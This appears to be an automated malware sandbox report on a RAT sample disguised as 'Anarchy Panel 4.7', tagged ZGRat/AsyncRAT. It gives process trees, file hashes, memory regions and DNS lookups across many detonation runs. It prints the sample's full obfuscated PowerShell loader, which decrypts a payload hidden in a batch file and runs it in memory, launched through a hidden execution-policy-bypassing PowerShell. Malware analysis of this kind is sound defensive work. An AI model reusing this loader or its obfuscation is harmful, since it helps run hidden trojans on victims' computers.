N/A N/A N/A N/A
N/A N/A N/A N/A

ZGRat

rat zgrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2148 wrote to memory of 2376 N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe
PID 2148 wrote to memory of 2376 N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe
PID 2148 wrote to memory of 2376 N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe
PID 2148 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe C:\Windows\system32\cmd.exe
PID 2148 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe C:\Windows\system32\cmd.exe
PID 2148 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe C:\Windows\system32\cmd.exe
PID 2712 wrote to memory of 1604 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2712 wrote to memory of 1604 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2712 wrote to memory of 1604 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2712 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2712 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2712 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe

"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe"

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe"

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\svchost.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function ZSHdk($KarSC){ $ZfCFn=[System.Security.Cryptography.Aes]::Create(); $ZfCFn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZfCFn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZfCFn.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('KtZKjEms98+Uz3JdAwXifcpceQe4mGFCZZetPfWLjV8='); $ZfCFn.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('XxhTpYt8KLdLDSpO7hDOxw=='); $tlguC=$ZfCFn.CreateDecryptor(); $return_var=$tlguC.TransformFinalBlock($KarSC, 0, $KarSC.Length); $tlguC.Dispose(); $ZfCFn.Dispose(); $return_var;}function CaoMW($KarSC){ $tLaFs=New-Object System.IO.MemoryStream(,$KarSC); $lDGtw=New-Object System.IO.MemoryStream; Invoke-Expression '$ixeoS #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$tLaFs,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $ixeoS.CopyTo($lDGtw); $ixeoS.Dispose(); $tLaFs.Dispose(); $lDGtw.Dispose(); $lDGtw.ToArray();}function akbWW($KarSC,$vyQOD){ $xXjIa = @( '$qtafy = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$KarSC);', '$FBuAc = $qtafy.EntryPoint;', '$FBuAc.Invoke($null, $vyQOD);' ); foreach ($eBUTc in $xXjIa) { Invoke-Expression $eBUTc };}$QCWfW=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\svchost.bat').Split([Environment]::NewLine);foreach ($hgEiC in $QCWfW) { if ($hgEiC.StartsWith('SEROXEN')) { $GFlqW=$hgEiC.Substring(7); break; }}$llOQb=CaoMW (ZSHdk ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($GFlqW)));akbWW $llOQb (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\svchost.bat')); "

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

Network

N/A

Files

memory/2148-0-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

memory/2148-1-0x000000013F310000-0x0000000142CDC000-memory.dmp

memory/2148-2-0x000000001BE90000-0x000000001BF10000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

MD5 94bac1a0cc0dbac256f0d3b4c90648c2
SHA1 4abcb8a31881e88322f6a37cbb24a14a80c6eef2
SHA256 50c2dba1d961e09cb8df397b71bd3b6a32d0ee6dbe886e7309305dc4ba968f94
SHA512 30ecee38d5d641abaf73e09a23c614cb3b8b84aa1f8ff1818e92c1f2b51bf6841d3e51564aecb5efd01a3d98db88f0938e7dd4ee9c74ca5477785c33c969ffd9

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

MD5 94bac1a0cc0dbac256f0d3b4c90648c2
SHA1 4abcb8a31881e88322f6a37cbb24a14a80c6eef2
SHA256 50c2dba1d961e09cb8df397b71bd3b6a32d0ee6dbe886e7309305dc4ba968f94
SHA512 30ecee38d5d641abaf73e09a23c614cb3b8b84aa1f8ff1818e92c1f2b51bf6841d3e51564aecb5efd01a3d98db88f0938e7dd4ee9c74ca5477785c33c969ffd9

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

MD5 94bac1a0cc0dbac256f0d3b4c90648c2
SHA1 4abcb8a31881e88322f6a37cbb24a14a80c6eef2
SHA256 50c2dba1d961e09cb8df397b71bd3b6a32d0ee6dbe886e7309305dc4ba968f94
SHA512 30ecee38d5d641abaf73e09a23c614cb3b8b84aa1f8ff1818e92c1f2b51bf6841d3e51564aecb5efd01a3d98db88f0938e7dd4ee9c74ca5477785c33c969ffd9

memory/2376-12-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

memory/2376-19-0x0000000000ED0000-0x000000000456E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\svchost.bat

MD5 2892f2caa15e37c12faea09c6bb5a44a
SHA1 8f401732b8a3a8b1022ef52836a4e7eac604146a
SHA256 c5ece24bcd43419cf718605925b565c17bc668ab7d3801a1d923465b15bd9f1f
SHA512 35abceb95d61ba4bfb6facc9559fe4d2db3eec9810bff4230c697864e0bd37e58ec1c1d817a766cfc07b12bed0dfedecfab01179f7295d1118347ba432ee996d

C:\Users\Admin\AppData\Local\Temp\svchost.bat

MD5 2892f2caa15e37c12faea09c6bb5a44a
SHA1 8f401732b8a3a8b1022ef52836a4e7eac604146a
SHA256 c5ece24bcd43419cf718605925b565c17bc668ab7d3801a1d923465b15bd9f1f
SHA512 35abceb95d61ba4bfb6facc9559fe4d2db3eec9810bff4230c697864e0bd37e58ec1c1d817a766cfc07b12bed0dfedecfab01179f7295d1118347ba432ee996d

memory/2148-21-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

memory/2376-22-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2376-23-0x0000000000150000-0x0000000000151000-memory.dmp

\Users\Admin\AppData\Local\Temp\Costura\C5730A4C0FDD612A5678E51A536CE09E\64\sqlite.interop.dll

MD5 56a504a34d2cfbfc7eaa2b68e34af8ad
SHA1 426b48b0f3b691e3bb29f465aed9b936f29fc8cc
SHA256 9309fb2a3f326d0f2cc3f2ab837cfd02e4f8cb6b923b3b2be265591fd38f4961
SHA512 170c3645083d869e2368ee16325d7edaeba2d8f1d3d4a6a1054cfdd8616e03073772eeae30c8f79a93173825f83891e7b0e4fd89ef416808359f715a641747d7

memory/2376-28-0x000000001F400000-0x000000001F9E8000-memory.dmp

memory/2376-29-0x000000001F9F0000-0x000000001FDB0000-memory.dmp

memory/2376-30-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2376-31-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2376-32-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2376-33-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2636-38-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

memory/2636-39-0x00000000025E0000-0x00000000025E8000-memory.dmp

memory/2636-40-0x000007FEED790000-0x000007FEEE12D000-memory.dmp

memory/2636-41-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2636-42-0x000007FEED790000-0x000007FEEE12D000-memory.dmp

memory/2636-43-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2636-44-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2376-45-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

memory/2636-46-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2376-47-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2376-48-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2376-49-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2376-50-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2376-51-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2636-52-0x000007FEED790000-0x000007FEEE12D000-memory.dmp

memory/2636-53-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2636-54-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2636-55-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2636-56-0x00000000029D0000-0x0000000002A50000-memory.dmp

memory/2376-59-0x0000000022D80000-0x0000000022FD2000-memory.dmp

memory/2376-60-0x000000001EA60000-0x000000001EAE0000-memory.dmp

memory/2376-61-0x0000000023000000-0x000000002314E000-memory.dmp

memory/2376-62-0x00000000232B0000-0x00000000232C4000-memory.dmp

memory/2376-63-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

Analysis: behavioral8

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win10v2004-20231025-en

Max time kernel

137s

Max time network

159s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\59Zp7paEHDF7luJ.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\59Zp7paEHDF7luJ.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 254.22.238.8.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 254.21.238.8.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 130.109.69.13.in-addr.arpa udp

Files

N/A

Analysis: behavioral9

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win7-20231023-en

Max time kernel

119s

Max time network

127s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\CjETR6GpGXqM.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\CjETR6GpGXqM.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral31

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231020-en

Max time kernel

119s

Max time network

124s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\mML6WKMqdxjDGA.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\mML6WKMqdxjDGA.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231023-en

Max time kernel

122s

Max time network

133s

Command Line

C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7.zip"

Signatures

N/A

Processes

C:\Windows\Explorer.exe

C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7.zip"

Network

N/A

Files

N/A

Analysis: behavioral18

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win10v2004-20231023-en

Max time kernel

132s

Max time network

161s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\KNTmoSnG.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\KNTmoSnG.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 254.22.238.8.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 25.14.97.104.in-addr.arpa udp
US 8.8.8.8:53 254.7.248.8.in-addr.arpa udp
US 8.8.8.8:53 254.21.238.8.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral22

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win10v2004-20231023-en

Max time kernel

138s

Max time network

157s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\RssCnLKcGRxj.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\RssCnLKcGRxj.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 254.7.248.8.in-addr.arpa udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 192.240.110.104.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 193.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 12.173.189.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral24

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win10v2004-20231020-en

Max time kernel

123s

Max time network

158s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\WkUP83aP9CABpi.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\WkUP83aP9CABpi.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 193.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 112.208.253.8.in-addr.arpa udp
US 8.8.8.8:53 254.21.238.8.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 130.109.69.13.in-addr.arpa udp

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231023-en

Max time kernel

120s

Max time network

127s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\0guo3zbo66fqoG.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\0guo3zbo66fqoG.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral16

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win10v2004-20231025-en

Max time kernel

139s

Max time network

160s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\G3nl0mDcABnDuZ.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\G3nl0mDcABnDuZ.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 254.22.238.8.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 193.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral19

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231025-en

Max time kernel

121s

Max time network

127s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\PK0TcnqTGFagQTS.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\PK0TcnqTGFagQTS.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral27

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win7-20231020-en

Max time kernel

121s

Max time network

131s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\fzAgyDYa.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\fzAgyDYa.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral28

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win10v2004-20231020-en

Max time kernel

136s

Max time network

160s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\fzAgyDYa.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\fzAgyDYa.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 254.22.238.8.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 192.240.110.104.in-addr.arpa udp
US 8.8.8.8:53 193.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 254.21.238.8.in-addr.arpa udp
US 8.8.8.8:53 1.173.189.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral12

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win10v2004-20231020-en

Max time kernel

138s

Max time network

159s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\EVa7gBMKoaHmLC.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\EVa7gBMKoaHmLC.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 254.7.248.8.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 254.21.238.8.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral14

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win10v2004-20231020-en

Max time kernel

139s

Max time network

159s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\FBSyChwp.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\FBSyChwp.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 193.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 254.22.238.8.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 126.178.238.8.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral25

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win7-20231023-en

Max time kernel

118s

Max time network

127s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\eMTYbTz0gueNs4.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\eMTYbTz0gueNs4.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral26

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:16

Platform

win10v2004-20231023-en

Max time kernel

132s

Max time network

150s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\eMTYbTz0gueNs4.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\eMTYbTz0gueNs4.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 254.7.248.8.in-addr.arpa udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 126.177.238.8.in-addr.arpa udp
US 8.8.8.8:53 193.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 10.173.189.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral32

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win10v2004-20231023-en

Max time kernel

139s

Max time network

159s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\mML6WKMqdxjDGA.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\mML6WKMqdxjDGA.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 193.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 192.240.110.104.in-addr.arpa udp
US 8.8.8.8:53 254.7.248.8.in-addr.arpa udp
US 8.8.8.8:53 126.179.238.8.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral23

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231020-en

Max time kernel

122s

Max time network

129s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\WkUP83aP9CABpi.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\WkUP83aP9CABpi.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral7

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231020-en

Max time kernel

119s

Max time network

126s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\59Zp7paEHDF7luJ.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\59Zp7paEHDF7luJ.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral13

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231023-en

Max time kernel

117s

Max time network

123s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\FBSyChwp.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\FBSyChwp.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral20

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win10v2004-20231020-en

Max time kernel

139s

Max time network

159s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\PK0TcnqTGFagQTS.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\PK0TcnqTGFagQTS.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 193.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
